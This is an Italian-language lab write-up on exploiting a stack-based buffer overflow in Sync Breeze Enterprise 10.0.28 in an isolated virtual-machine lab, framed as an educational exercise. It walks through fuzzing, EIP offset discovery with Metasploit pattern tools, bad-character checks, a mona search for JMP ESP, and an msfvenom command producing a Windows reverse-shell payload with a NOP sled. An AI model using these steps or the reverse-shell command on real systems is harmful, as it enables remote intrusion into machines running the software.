
Studio di una classica vulnerabilità di buffer overflow basata sullo stack in un ambiente di laboratorio controllato a scopo didattico.
Studio di una vulnerabilità classica di buffer overflow basato su stack in un ambiente di laboratorio controllato a scopo didattico.
L'obiettivo di questo progetto era comprendere meglio:
Il primo passo consisteva nell'installazione di
Sync Breeze Enterprise 10.0.28
all'interno di una macchina virtuale Windows 10 configurata per la
ricerca di vulnerabilità e lo sviluppo di exploit.
L'ambiente è stato isolato per garantire test sicuri e controllati.
Entrambe le macchine virtuali (target e attaccante) sono state configurate in modalità Bridged Network Adapter per consentire la comunicazione di rete diretta tra i sistemi durante il processo di sfruttamento.


Gli strumenti di debug sono stati configurati per analizzare il comportamento dell'applicazione durante l'esecuzione e osservare le condizioni di crash.
Grandi sequenze di byte sono state inviate all'applicazione per identificare la dimensione approssimativa del buffer necessaria a provocare un crash.
Dopo aver identificato la soglia di crash, l'applicazione è stata testata nuovamente utilizzando la dimensione del payload scoperta per confermare la vulnerabilità.
È stato identificato l'offset esatto necessario per sovrascrivere l'Instruction Pointer (EIP).
Generare un pattern univoco:
/usr/bin/msf-pattern_create -l <SIZE>
Identificare l'offset:
/usr/bin/msf-pattern_offset -l <SIZE> -q <EIP_VALUE>
Dove:
<SIZE> = lunghezza del payload scoperta durante il fuzzing<EIP_VALUE> = valore di 4 byte osservato sovrascrivere l'EIP
I caratteri dannosi sono stati identificati per determinare quali byte non potessero essere elaborati in sicurezza dall'applicazione.
È stata individuata un'istruzione JMP ESP adatta in un modulo senza ASLR
abilitato.
Enumerazione dei moduli caricati:
!mona modules
Ricerca di JMP ESP:
!mona find -s "\xff\xe4" -m <MODULE_NAME>
È stata data preferenza alle DLL specifiche dell'applicazione a causa della presenza di indirizzi di memoria statici.

Il flusso di esecuzione del payload è stato validato per garantire il corretto reindirizzamento verso il buffer controllato.
Lo shellcode è stato generato escludendo i caratteri dannosi identificati in precedenza.
msfvenom -p windows/shell_reverse_tcp LHOST=<LOCAL_IP> LPORT=<PORT> EXITFUNC=thread -b "BAD_CHARS" -f c
Prima dello shellcode è stato aggiunto un NOP sled (\x90) per migliorare l'affidabilità
dell'esecuzione del payload.

L'exploit finale è stato assemblato e testato con successo all'interno dell'ambiente di laboratorio isolato.
Questo progetto è stato sviluppato esclusivamente a scopo didattico e di ricerca all'interno di un ambiente di laboratorio isolato.